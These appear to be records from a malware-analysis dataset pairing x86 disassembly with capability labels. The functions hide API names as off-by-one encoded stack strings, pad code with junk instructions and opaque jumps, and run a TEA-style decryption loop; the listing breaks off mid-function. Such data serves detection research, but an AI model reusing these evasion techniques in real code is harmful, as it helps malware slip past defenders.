joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4a3d08
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
push 0x12
push 0
lea eax, [ebp - 0x18]
push eax
call fcn.0049baea
add esp, 0xc
xor edi, eax
xor edi, eax
stc
je 0x4a3d28
jg 0x4a3d38
pushf
nop
popf
lea edx, [edx]
xchg ecx, edi
xchg ecx, edi
jle 0x4a3d38
xor eax, 0x48e845c6
mov byte [ebp - 0x18], 0x48
mov byte [ebp - 0x13], 0x73
mov byte [ebp - 0xe], 0x51
mov byte [ebp - 9], 0x74
mov byte [ebp - 0x17], 0x66
mov byte [ebp - 0x12], 0x73
mov byte [ebp - 0xd], 0x73
mov byte [ebp - 8], 0x74
mov byte [ebp - 0x16], 0x75
mov byte [ebp - 0x11], 0x66
mov byte [ebp - 0xc], 0x70
mov byte [ebp - 7], 0
mov byte [ebp - 0x15], 0x44
mov byte [ebp - 0x10], 0x6f
mov byte [ebp - 0xb], 0x64
mov byte [ebp - 0x14], 0x76
mov byte [ebp - 0xf], 0x75
mov byte [ebp - 0xa], 0x66
shl esp, 0
jg 0x4a3d8b
jbe 0x4a3d87
jle 0x4a3d8b
mov eax, 0xe84d8abe
mov cl, byte [ebp - 0x18]
sub cl, 1
mov byte [ebp - 0x18], cl
mov dl, byte [ebp - 0x13]
sub dl, 1
mov byte [ebp - 0x13], dl
mov al, byte [ebp - 0xe]
sub al, 1
mov byte [ebp - 0xe], al
mov cl, byte [ebp - 9]
sub cl, 1
mov byte [ebp - 9], cl
mov dl, byte [ebp - 0x17]
sub dl, 1
mov byte [ebp - 0x17], dl
mov al, byte [ebp - 0x12]
sub al, 1
mov byte [ebp - 0x12], al
mov cl, byte [ebp - 0xd]
sub cl, 1
mov byte [ebp - 0xd], cl
mov dl, byte [ebp - 8]
sub dl, 1
mov byte [ebp - 8], dl
mov al, byte [ebp - 0x16]
sub al, 1
mov byte [ebp - 0x16], al
mov cl, byte [ebp - 0x11]
sub cl, 1
mov byte [ebp - 0x11], cl
mov dl, byte [ebp - 0xc]
sub dl, 1
mov byte [ebp - 0xc], dl
mov al, byte [ebp - 0x15]
sub al, 1
mov byte [ebp - 0x15], al
mov cl, byte [ebp - 0x10]
sub cl, 1
mov byte [ebp - 0x10], cl
mov dl, byte [ebp - 0xb]
sub dl, 1
mov byte [ebp - 0xb], dl
mov al, byte [ebp - 0x14]
sub al, 1
mov byte [ebp - 0x14], al
mov cl, byte [ebp - 0xf]
sub cl, 1
mov byte [ebp - 0xf], cl
mov dl, byte [ebp - 0xa]
sub dl, 1
mov byte [ebp - 0xa], dl
call fcn.004ad14a
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x4a3e34
xor eax, eax
jmp 0x4a3ed9
cmp eax, dword [esp]
ror edx, 0x1e
ror edx, 2
add eax, dword [esp]
sub eax, dword [esp]
jne 0x4a3e5e
pushf
shr esp, 0
rol esi, 0xc
ror esi, 0xc
cmc
mov ecx, ecx
popf
mov esp, esp
mov ecx, ecx
mov edx, edx
je 0x4a3e5e
add eax, 0x50e8458d
lea eax, [ebp - 0x18]
push eax
mov ecx, dword [ebp - 4]
push ecx
call fcn.004a7955
mov dword [ebp - 0x1c], eax
push 0x12
push 0
lea edx, [ebp - 0x18]
push edx
call fcn.0049baea
add esp, 0xc
and ecx, 0xffffffff
test esp, 0x7786
test dword [esp + 4], ecx
xor ebx, ecx
xor ebx, ecx
jns 0x4a3ea2
pushf
xchg esp, esp
neg ebx
neg ebx
popf
mov esi, esi
jae 0x4a3e9f
js 0x4a3ea2
sub eax, 0xe47d83
cmp dword [ebp - 0x1c], 0
jne 0x4a3eac
xor eax, eax
jmp 0x4a3ed9
ror esp, 0
nop
jl 0x4a3ebb
jb 0x4a3eb4
jo 0x4a3eb6
xchg ebx, eax
xchg ebx, eax
jge 0x4a3ebb
mov edi, 0x50e4458b
mov eax, dword [ebp - 0x1c]
push eax
call fcn.0048e67b
add esp, 4
jg 0x4a3ec9
jp 0x4a3ed6
pushf
mov esp, esp
popf
lea ecx, [ecx]
jnp 0x4a3ed6
add eax, 0x5fe455ff
call dword [ebp - 0x1c]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4a6571
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
push 0xd
push 0
lea eax, [ebp - 0x18]
push eax
call fcn.0049baea
add esp, 0xc
jl 0x4a658c
test dword [esp], esi
shl esi, 0
jg 0x4a65a5
pushf
xor esp, 0
nop
xchg edi, eax
xchg edi, eax
ja 0x4a659e
popf
xchg esp, esp
jle 0x4a65a5
mov ebx, 0x48e845c6
mov byte [ebp - 0x18], 0x48
mov byte [ebp - 0x13], 0x65
mov byte [ebp - 0xe], 0x6d
mov byte [ebp - 0x17], 0x66
mov byte [ebp - 0x12], 0x49
mov byte [ebp - 0x16], 0x75
mov byte [ebp - 0x11], 0x62
mov byte [ebp - 0x15], 0x54
mov byte [ebp - 0x10], 0x6f
mov byte [ebp - 0x14], 0x75
mov byte [ebp - 0xf], 0x65
mov byte [ebp - 0xd], 0x66
mov byte [ebp - 0xc], 0
call 0x4a65de
add esp, 4
not ecx
not ecx
ja 0x4a65f2
pushf
jb 0x4a65eb
popf
mov edi, edi
jbe 0x4a65f2
mov ebp, 0x80e84d8a
jmp 0xe897edfc
mov cl, byte [ebp - 0x18]
sub cl, 1
mov byte [ebp - 0x18], cl
mov dl, byte [ebp - 0x13]
sub dl, 1
mov byte [ebp - 0x13], dl
mov al, byte [ebp - 0x17]
sub al, 1
mov byte [ebp - 0x17], al
mov cl, byte [ebp - 0x12]
sub cl, 1
mov byte [ebp - 0x12], cl
mov dl, byte [ebp - 0x16]
sub dl, 1
mov byte [ebp - 0x16], dl
mov al, byte [ebp - 0x11]
sub al, 1
mov byte [ebp - 0x11], al
mov cl, byte [ebp - 0x15]
sub cl, 1
mov byte [ebp - 0x15], cl
mov dl, byte [ebp - 0x10]
sub dl, 1
mov byte [ebp - 0x10], dl
mov al, byte [ebp - 0x14]
sub al, 1
mov byte [ebp - 0x14], al
mov cl, byte [ebp - 0xf]
sub cl, 1
mov byte [ebp - 0xf], cl
mov dl, byte [ebp - 0xd]
sub dl, 1
mov byte [ebp - 0xd], dl
mov al, byte [ebp - 0xe]
sub al, 1
mov byte [ebp - 0xe], al
xor eax, dword [esp + 4]
xor eax, dword [esp + 4]
xchg esp, esp
xor edi, dword [esp + 0xc]
xor edi, dword [esp + 0xc]
jns 0x4a6684
pushf
cld
jns 0x4a6673
xchg ecx, edi
xchg ecx, edi
and eax, eax
popf
jns 0x4a667d
jp 0x4a667f
jne 0x4a6681
js 0x4a6684
mov edx, 0x6ac1e8
add byte [ecx + 0x7d83f845], cl
clc
add byte [ebp + 7], dh
call fcn.004ad14a
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x4a6699
xor eax, eax
jmp 0x4a6747
xor esp, 0
dec edx
inc edx
test dword [esp + 0x10], ebx
cmp ebx, edi
jp 0x4a66b4
pushf
mov edx, edx
xor eax, 0
popf
jb 0x4a66b1
jnp 0x4a66b4
or dword [ebp - 0x74ae17b3], 0xe852f855
xchg esp, eax
adc al, byte [eax]
add byte [ecx + 0xd6afc45], cl
lea ecx, [ebp - 0x18]
push ecx
mov edx, dword [ebp - 8]
push edx
call fcn.004a7955
mov dword [ebp - 4], eax
push 0xd
push 0
lea eax, [ebp - 0x18]
push eax
call fcn.0049baea
add esp, 0xc
call 0x4a66d9
add esp, 4
shr esp, 0
cmp edx, dword [esp + 0xc]
jnp 0x4a66e5
jbe 0x4a6703
pushf
shr edx, 0
jno 0x4a66ee
push eax
add eax, 0x930
ror eax, 0x15
pop eax
popf
mov ebx, ebx
jnp 0x4a66fe
jno 0x4a6700
ja 0x4a6703
add eax, 0xfc7d83
cmp dword [ebp - 4], 0
jne 0x4a670d
xor eax, eax
jmp 0x4a6747
cmp esp, 0x7df3
jnp 0x4a672a
pushf
cmp edi, 0x6dae
xor edi, dword [esp]
xor edi, dword [esp]
popf
lea edi, [edi]
jp 0x4a672a
sub eax, 0x51fc4d8b
mov ecx, dword [ebp - 4]
push ecx
call fcn.0048e67b
add esp, 4
lea esp, [esp]
jg 0x4a6740
jne 0x4a673d
jle 0x4a6740
lcall 0x55ff, 0x5208558b
cld
mov edx, dword [ebp + 8]
push edx
call dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x4a6750
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
cmp dword [0x487cec], 1
jne 0x4a6897
push 0xb
push 0
lea eax, [ebp - 0x18]
push eax
call fcn.0049baea
add esp, 0xc
jae 0x4a6778
lea eax, [eax + 0x2f73]
lea eax, [eax - 0x2f73]
call 0x4a6789
lea esp, [esp + 4]
shl esp, 0
jp 0x4a679f
pushf
mov edi, edi
popf
jb 0x4a679a
xchg ecx, ecx
jnp 0x4a679f
add eax, 0x48e845c6
mov byte [ebp - 0x18], 0x48
mov byte [ebp - 0x13], 0x6d
mov byte [ebp - 0xe], 0
mov byte [ebp - 0x17], 0x6d
mov byte [ebp - 0x12], 0x47
mov byte [ebp - 0x16], 0x70
mov byte [ebp - 0x11], 0x73
mov byte [ebp - 0x15], 0x63
mov byte [ebp - 0x10], 0x66
mov byte [ebp - 0x14], 0x62
mov byte [ebp - 0xf], 0x66
ror ecx, 0
add eax, 0
add ecx, 0x7438
sub ecx, 0x7438
jge 0x4a67e9
jmp 0x4a67e1
jb 0x4a67e3
jno 0x4a67e5
jl 0x4a67e9
mov ebp, 0xe84d8a7c
mov cl, byte [ebp - 0x18]
sub cl, 1
mov byte [ebp - 0x18], cl
mov dl, byte [ebp - 0x13]
sub dl, 1
mov byte [ebp - 0x13], dl
mov al, byte [ebp - 0x17]
sub al, 1
mov byte [ebp - 0x17], al
mov cl, byte [ebp - 0x12]
sub cl, 1
mov byte [ebp - 0x12], cl
mov dl, byte [ebp - 0x16]
sub dl, 1
mov byte [ebp - 0x16], dl
mov al, byte [ebp - 0x11]
sub al, 1
mov byte [ebp - 0x11], al
mov cl, byte [ebp - 0x15]
sub cl, 1
mov byte [ebp - 0x15], cl
mov dl, byte [ebp - 0x10]
sub dl, 1
mov byte [ebp - 0x10], dl
mov al, byte [ebp - 0x14]
sub al, 1
mov byte [ebp - 0x14], al
mov cl, byte [ebp - 0xf]
sub cl, 1
mov byte [ebp - 0xf], cl
call fcn.004ad14a
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x4a6856
mov eax, dword [ebp + 8]
jmp 0x4a6909
jne 0x4a6858
jns 0x4a685f
jbe 0x4a685c
js 0x4a685f
mov edi, 0x52e8558d
lea edx, [ebp - 0x18]
push edx
mov eax, dword [ebp - 0xc]
push eax
call fcn.004a7955
mov dword [ebp - 8], eax
push 0xb
push 0
lea ecx, [ebp - 0x18]
push ecx
call fcn.0049baea
add esp, 0xc
cmp dword [ebp - 8], 0
je 0x4a6890
mov edx, dword [ebp - 8]
mov dword [0x487cec], edx
jmp 0x4a6895
mov eax, dword [ebp + 8]
jmp 0x4a6909
jmp 0x4a689f
mov eax, dword [0x487cec]
mov dword [ebp - 8], eax
or esp, 0
shl esp, 0
jl 0x4a68a7
jge 0x4a68b7
pushf
add esp, 0
jl 0x4a68b0
popf
jle 0x4a68b4
jl 0x4a68b7
mov edi, 0x89f84d8b
dec ebp
cld
mov ecx, dword [ebp - 8]
mov dword [ebp - 4], ecx
jne 0x4a68bf
test esp, 0x3e73
shl esp, 0
rol esi, 0x15
ror esi, 0x15
jns 0x4a68df
lea esi, [esi + 0x857]
lea esi, [esi - 0x857]
js 0x4a68df
mov ebp, 0x52fc558b
mov edx, dword [ebp - 4]
push edx
call fcn.0048e67b
add esp, 4
jno 0x4a68ed
jle 0x4a6902
pushf
cmp esp, 0x1717
jge 0x4a68f9
jle 0x4a68fb
popf
jb 0x4a68ff
jg 0x4a6902
xor eax, 0x5008458b
mov eax, dword [ebp + 8]
push eax
call dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x4a7615
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
mov dword [ebp - 4], 0
push 0xc
push 0
lea eax, [ebp - 0x14]
push eax
call fcn.0049baea
add esp, 0xc
xor eax, 0
and esp, 0xffffffff
stc
cld
je 0x4a764a
mov edx, edx
xchg ecx, edx
xchg ecx, edx
jne 0x4a764a
call 0x4610b548
in al, dx
inc edi
mov byte [ebp - 0x14], 0x47
mov byte [ebp - 0xf], 0x6a
mov byte [ebp - 0xa], 0x42
mov byte [ebp - 0x13], 0x6a
mov byte [ebp - 0xe], 0x6f
mov byte [ebp - 9], 0
mov byte [ebp - 0x12], 0x6f
mov byte [ebp - 0xd], 0x65
mov byte [ebp - 0x11], 0x65
mov byte [ebp - 0xc], 0x70
mov byte [ebp - 0x10], 0x58
mov byte [ebp - 0xb], 0x78
cmp eax, dword [esp + 4]
test edi, 0x1e36
dec edx
inc edx
jne 0x4a7698
pushf
inc esi
dec esi
js 0x4a768e
shr esp, 0
popf
jle 0x4a7695
je 0x4a7698
add eax, 0x80ec4d8a
jmp 0xec97fea2
mov cl, byte [ebp - 0x14]
sub cl, 1
mov byte [ebp - 0x14], cl
mov dl, byte [ebp - 0xf]
sub dl, 1
mov byte [ebp - 0xf], dl
mov al, byte [ebp - 0xa]
sub al, 1
mov byte [ebp - 0xa], al
mov cl, byte [ebp - 0x13]
sub cl, 1
mov byte [ebp - 0x13], cl
mov dl, byte [ebp - 0xe]
sub dl, 1
mov byte [ebp - 0xe], dl
mov al, byte [ebp - 0x12]
sub al, 1
mov byte [ebp - 0x12], al
mov cl, byte [ebp - 0xd]
sub cl, 1
mov byte [ebp - 0xd], cl
mov dl, byte [ebp - 0x11]
sub dl, 1
mov byte [ebp - 0x11], dl
mov al, byte [ebp - 0xc]
sub al, 1
mov byte [ebp - 0xc], al
mov cl, byte [ebp - 0x10]
sub cl, 1
mov byte [ebp - 0x10], cl
mov dl, byte [ebp - 0xb]
sub dl, 1
mov byte [ebp - 0xb], dl
call fcn.004a3b08
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x4a770d
xor eax, eax
jmp 0x4a794c
call fcn.004a7712
Function at 0x4b1a36
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
push 0xc
push 0
lea eax, [ebp - 0x14]
push eax
call fcn.0049baea
add esp, 0xc
xchg ecx, edi
xchg ecx, edi
or ebx, 0
je 0x4b1a58
jae 0x4b1a78
pushf
ror ebx, 0xb
ror ebx, 0x15
call 0x4b1a67
lea esp, [esp + 4]
test dword [esp], esi
or ecx, 0
popf
xchg ebx, eax
xchg ebx, eax
jb 0x4b1a78
mov esp, 0x44ec45c6
mov byte [ebp - 0x14], 0x44
mov byte [ebp - 0xf], 0x49
mov byte [ebp - 0xa], 0x66
mov byte [ebp - 0x13], 0x6d
mov byte [ebp - 0xe], 0x62
mov byte [ebp - 9], 0
mov byte [ebp - 0x12], 0x70
mov byte [ebp - 0xd], 0x6f
mov byte [ebp - 0x11], 0x74
mov byte [ebp - 0xc], 0x65
mov byte [ebp - 0x10], 0x66
mov byte [ebp - 0xb], 0x6d
or esi, esi
xor ecx, 0x3a98
xor ecx, 0x3a98
jb 0x4b1ac3
jno 0x4b1aba
xchg edi, ebx
xchg edi, ebx
jp 0x4b1ac0
jae 0x4b1ac3
jmp 0x81376851
mov cl, byte [ebp - 0x14]
sub cl, 1
mov byte [ebp - 0x14], cl
mov dl, byte [ebp - 0xf]
sub dl, 1
mov byte [ebp - 0xf], dl
mov al, byte [ebp - 0xa]
sub al, 1
mov byte [ebp - 0xa], al
mov cl, byte [ebp - 0x13]
sub cl, 1
mov byte [ebp - 0x13], cl
mov dl, byte [ebp - 0xe]
sub dl, 1
mov byte [ebp - 0xe], dl
mov al, byte [ebp - 0x12]
sub al, 1
mov byte [ebp - 0x12], al
mov cl, byte [ebp - 0xd]
sub cl, 1
mov byte [ebp - 0xd], cl
mov dl, byte [ebp - 0x11]
sub dl, 1
mov byte [ebp - 0x11], dl
mov al, byte [ebp - 0xc]
sub al, 1
mov byte [ebp - 0xc], al
mov cl, byte [ebp - 0x10]
sub cl, 1
mov byte [ebp - 0x10], cl
mov dl, byte [ebp - 0xb]
sub dl, 1
mov byte [ebp - 0xb], dl
call fcn.004ad14a
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x4b1b38
xor eax, eax
jmp 0x4b1bbc
jg 0x4b1b3a
jno 0x4b1b43
js 0x4b1b3e
jp 0x4b1b40
jo 0x4b1b43
add eax, 0x50ec458d
lea eax, [ebp - 0x14]
push eax
mov ecx, dword [ebp - 8]
push ecx
call fcn.004a7955
mov dword [ebp - 4], eax
push 0xc
push 0
lea edx, [ebp - 0x14]
push edx
call fcn.0049baea
add esp, 0xc
cmp dword [ebp - 4], 0
jne 0x4b1b6d
xor eax, eax
jmp 0x4b1bbc
mov esp, esp
je 0x4b1b87
pushf
or edx, 0
not esi
not esi
xor esp, 0
or esi, 0
popf
jl 0x4b1b84
jne 0x4b1b87
call 0x51476116
mov eax, dword [ebp - 4]
push eax
call fcn.0048e67b
add esp, 4
and edi, 0xffffffff
not ecx
not ecx
add edx, dword [esp]
sub edx, dword [esp]
jg 0x4b1ba2
jbe 0x4b1bb5
pushf
and edi, edi
test ebx, edi
popf
xchg esi, esi
jp 0x4b1bb0
jns 0x4b1bb2
ja 0x4b1bb5
mov ecx, 0x51084d8b
mov ecx, dword [ebp + 8]
push ecx
call dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x4b2870
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
mov dword [ebp - 4], 0
push 0xc
push 0
lea eax, [ebp - 0x10]
push eax
call fcn.0049baea
add esp, 0xc
lea edx, [edx + 0x11c0]
lea edx, [edx - 0x11c0]
rol edi, 0
jp 0x4b28a1
jp 0x4b28a9
nop
xchg esp, esp
jnp 0x4b28a9
sub eax, 0x4ef045c6
mov byte [ebp - 0x10], 0x4e
mov byte [ebp - 0xb], 0x68
mov byte [ebp - 0xf], 0x66
mov byte [ebp - 0xa], 0x66
mov byte [ebp - 0xe], 0x74
mov byte [ebp - 9], 0x43
mov byte [ebp - 0xd], 0x74
mov byte [ebp - 8], 0x70
mov byte [ebp - 0xc], 0x62
mov byte [ebp - 7], 0x79
mov byte [ebp - 6], 0x42
mov byte [ebp - 5], 0
sub eax, 0
jl 0x4b28de
jns 0x4b2902
pushf
call 0x4b28e7
lea esp, [esp + 4]
ror edi, 8
ror edi, 0x18
ror ecx, 0xf
rol ecx, 0xf
popf
xchg edi, edx
xchg edi, edx
xchg ecx, ecx
js 0x4b2902
or dword [edx - 0x167f0fb3], 0xf04d8801
mov cl, byte [ebp - 0x10]
sub cl, 1
mov byte [ebp - 0x10], cl
mov dl, byte [ebp - 0xb]
sub dl, 1
mov byte [ebp - 0xb], dl
mov al, byte [ebp - 0xf]
sub al, 1
mov byte [ebp - 0xf], al
mov cl, byte [ebp - 0xa]
sub cl, 1
mov byte [ebp - 0xa], cl
mov dl, byte [ebp - 0xe]
sub dl, 1
mov byte [ebp - 0xe], dl
mov al, byte [ebp - 9]
sub al, 1
mov byte [ebp - 9], al
mov cl, byte [ebp - 0xd]
sub cl, 1
mov byte [ebp - 0xd], cl
mov dl, byte [ebp - 8]
sub dl, 1
mov byte [ebp - 8], dl
mov al, byte [ebp - 0xc]
sub al, 1
mov byte [ebp - 0xc], al
mov cl, byte [ebp - 7]
sub cl, 1
mov byte [ebp - 7], cl
mov dl, byte [ebp - 6]
sub dl, 1
mov byte [ebp - 6], dl
test dword [esp + 8], ebx
jo 0x4b2968
inc ecx
dec ecx
je 0x4b2983
pushf
add esi, dword [esp]
sub esi, dword [esp]
neg edi
neg edi
popf
jl 0x4b297c
xchg edx, ebx
xchg edx, ebx
jne 0x4b2983
add eax, 0xff1180e8
dec dword [ecx + 0x7d83fc45]
cld
add byte [ebp + 4], dh
call fcn.004a3b08
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x4b2995
xor eax, eax
jmp 0x4b29da
xor ecx, dword [esp + 0xc]
xor ecx, dword [esp + 0xc]
xor ecx, 0x5319
xor ecx, 0x5319
xor edi, dword [esp]
xor edi, dword [esp]
js 0x4b29b7
jns 0x4b29b3
jns 0x4b29b7
mov esp, 0xf0458dfe
lea eax, [ebp - 0x10]
push eax
mov ecx, dword [ebp - 4]
push ecx
call fcn.004a7955
mov dword [ebp - 0x14], eax
push 0xc
push 0
lea edx, [ebp - 0x10]
push edx
call fcn.0049baea
add esp, 0xc
mov eax, dword [ebp - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4b3f62
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
push 0x13
push 0
lea eax, [ebp - 0x18]
push eax
call fcn.0049baea
add esp, 0xc
call 0x4b3f80
lea esp, [esp + 4]
test eax, esi
jno 0x4b3f88
jb 0x4b3f8a
jne 0x4b3fa7
pushf
not ecx
not ecx
add ebx, 0x3b1d
sub ebx, 0x3b1d
popf
xchg edi, edi
mov esp, esp
je 0x4b3fa7
mov esi, 0x44e845c6
mov byte [ebp - 0x18], 0x44
mov byte [ebp - 0x13], 0x54
mov byte [ebp - 0xe], 0x64
mov byte [ebp - 9], 0x65
mov byte [ebp - 0x17], 0x6d
mov byte [ebp - 0x12], 0x66
mov byte [ebp - 0xd], 0x66
mov byte [ebp - 8], 0x6d
mov byte [ebp - 0x16], 0x70
mov byte [ebp - 0x11], 0x73
mov byte [ebp - 0xc], 0x49
mov byte [ebp - 7], 0x66
mov byte [ebp - 0x15], 0x74
mov byte [ebp - 0x10], 0x77
mov byte [ebp - 0xb], 0x62
mov byte [ebp - 6], 0
mov byte [ebp - 0x14], 0x66
mov byte [ebp - 0xf], 0x6a
mov byte [ebp - 0xa], 0x6f
lea ecx, [ecx + 0x3747]
sub ecx, 0x3747
jne 0x4b4001
test esp, 0x1f25
jge 0x4b4013
lea eax, [eax]
js 0x4b400d
jge 0x4b400f
jl 0x4b4013
mov edx, 0xe84d8a78
mov cl, byte [ebp - 0x18]
sub cl, 1
mov byte [ebp - 0x18], cl
mov dl, byte [ebp - 0x13]
sub dl, 1
mov byte [ebp - 0x13], dl
mov al, byte [ebp - 0xe]
sub al, 1
mov byte [ebp - 0xe], al
mov cl, byte [ebp - 9]
sub cl, 1
mov byte [ebp - 9], cl
mov dl, byte [ebp - 0x17]
sub dl, 1
mov byte [ebp - 0x17], dl
mov al, byte [ebp - 0x12]
sub al, 1
mov byte [ebp - 0x12], al
mov cl, byte [ebp - 0xd]
sub cl, 1
mov byte [ebp - 0xd], cl
mov dl, byte [ebp - 8]
sub dl, 1
mov byte [ebp - 8], dl
mov al, byte [ebp - 0x16]
sub al, 1
mov byte [ebp - 0x16], al
mov cl, byte [ebp - 0x11]
sub cl, 1
mov byte [ebp - 0x11], cl
mov dl, byte [ebp - 0xc]
sub dl, 1
mov byte [ebp - 0xc], dl
mov al, byte [ebp - 7]
sub al, 1
mov byte [ebp - 7], al
mov cl, byte [ebp - 0x15]
sub cl, 1
mov byte [ebp - 0x15], cl
mov dl, byte [ebp - 0x10]
sub dl, 1
mov byte [ebp - 0x10], dl
mov al, byte [ebp - 0xb]
sub al, 1
mov byte [ebp - 0xb], al
mov cl, byte [ebp - 0x14]
sub cl, 1
mov byte [ebp - 0x14], cl
mov dl, byte [ebp - 0xf]
sub dl, 1
mov byte [ebp - 0xf], dl
mov al, byte [ebp - 0xa]
sub al, 1
mov byte [ebp - 0xa], al
je 0x4b40b1
jmp 0x4b40b3
jns 0x4b40bd
xchg ebx, edi
xchg ebx, edi
js 0x4b40bd
ljmp 0xfffe:0xecabe887
call 0x4a2d6d
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x4b40cf
xor eax, eax
jmp 0x4b4145
dec ebx
inc ebx
jnp 0x4b40e3
pushf
inc ebx
dec ebx
and esp, 0xffffffff
popf
ja 0x4b40de
lea esi, [esi]
jp 0x4b40e3
mov ebp, 0x51e84d8d
lea ecx, [ebp - 0x18]
push ecx
mov edx, dword [ebp - 4]
push edx
call fcn.004a7955
mov dword [ebp - 0x1c], eax
push 0x13
push 0
lea eax, [ebp - 0x18]
push eax
call fcn.0049baea
add esp, 0xc
cmp dword [ebp - 0x1c], 0
jne 0x4b410d
xor eax, eax
jmp 0x4b4145
shl eax, 0
clc
jbe 0x4b4122
pushf
std
cld
ror ebx, 0
stc
popf
xchg esp, esp
ja 0x4b4122
mov edi, 0x51e44d8b
mov ecx, dword [ebp - 0x1c]
push ecx
call fcn.0048e67b
add esp, 4
lea esp, [esp]
js 0x4b413e
ja 0x4b4135
xchg ecx, ecx
lea esp, [esp]
jns 0x4b413e
mov eax, 0x8558bcd
mov edx, dword [ebp + 8]
push edx
call dword [ebp - 0x1c]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x4b43d0
Capabilities:
Hash data with md5

Disassembly:
mov eax, dword [esp + 4]
xor ecx, ecx
mov dword [eax + 0x14], ecx
mov dword [eax + 0x10], ecx
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
ret
Function at 0x4035ea
Capabilities:
Delete directory
Get common file path
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc44
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
mov eax, dword [eax + 4]
push ebx
push esi
xor esi, esi
cmp dword [0x4d99f8], 0x594
push edi
mov dword [ebp - 0xc], ecx
mov dword [ebp - 0x10], eax
jne 0x403624
push 0x402cd4
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalAddAtomW]
mov eax, dword [0x429418]
mov edi, dword [0x42941c]
mov dword [ebp - 0x20], eax
lea eax, [ebp - 8]
mov dword [ebp - 8], esi
mov dword [ebp - 0x28], 0x9e3779b9
call fcn.004035e3
mov eax, dword [0x429420]
add dword [ebp - 8], 0x23f
mov ebx, dword [0x429424]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x1c], 0x20
mov dword [ebp - 0x14], 2
add dword [ebp - 0x14], 3
mov eax, dword [ebp - 0xc]
mov ecx, eax
shl ecx, 4
cmp dword [0x4d99f8], 0xc
mov dword [ebp - 4], ecx
jne 0x4036c8
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0xc44]
push eax
push esi
push 0x402cf4
push 0x402d20
push 0x402d44
call dword [sym.imp.KERNEL32.dll_SearchPathW]
push esi
lea eax, [ebp - 0x444]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
lea eax, [ebp - 0x30]
push eax
push esi
lea eax, [ebp - 0x44]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputA]
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x24]
add dword [ebp - 4], ecx
mov ecx, dword [0x4d99f8]
cmp ecx, 0xfa9
jne 0x4036e6
mov dword [0x4d8f94], 0xedeb2e40
cmp ecx, 0x3eb
jne 0x4036f4
mov dword [0x4d8944], esi
mov ecx, dword [ebp - 8]
add ecx, eax
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp - 0x14]
shr eax, cl
mov dword [0x4d8f90], 0xf4ea3dee
add eax, ebx
mov ecx, eax
mov eax, dword [ebp - 0x18]
xor dword [ebp - 4], eax
xor ecx, dword [ebp - 4]
cmp dword [0x4d99f8], 0x213
mov dword [ebp - 0x18], ecx
jne 0x403733
push esi
push 0x402d78
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov eax, dword [ebp - 0x18]
add dword [ebp - 0x10], 0x64
sub dword [ebp - 0x10], eax
sub dword [ebp - 0x10], 0x64
cmp dword [0x4d99f8], 0xc
jne 0x403766
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_PrepareTape]
push esi
lea eax, [ebp - 0x444]
push eax
push 0x402db8
call dword [sym.imp.KERNEL32.dll_GetVolumePathNameA]
mov eax, dword [ebp - 0x10]
shl eax, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x20]
add dword [ebp - 4], eax
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 8]
lea edx, [ecx + eax]
mov ecx, dword [ebp - 0x14]
shr eax, cl
add eax, edi
xor eax, edx
xor dword [ebp - 4], eax
mov eax, dword [ebp - 4]
sub dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x28]
sub dword [ebp - 8], eax
dec dword [ebp - 0x1c]
jne 0x403660
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp + 8]
pop edi
mov dword [eax], ecx
mov ecx, dword [ebp - 0x10]
pop esi
mov dword [eax + 4], ecx
pop ebx
leave
ret 4
Function at 0x4037b4
Capabilities:
Create pipe
Get common file path
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x4d99f8]
mov ecx, dword [0x4d8948]
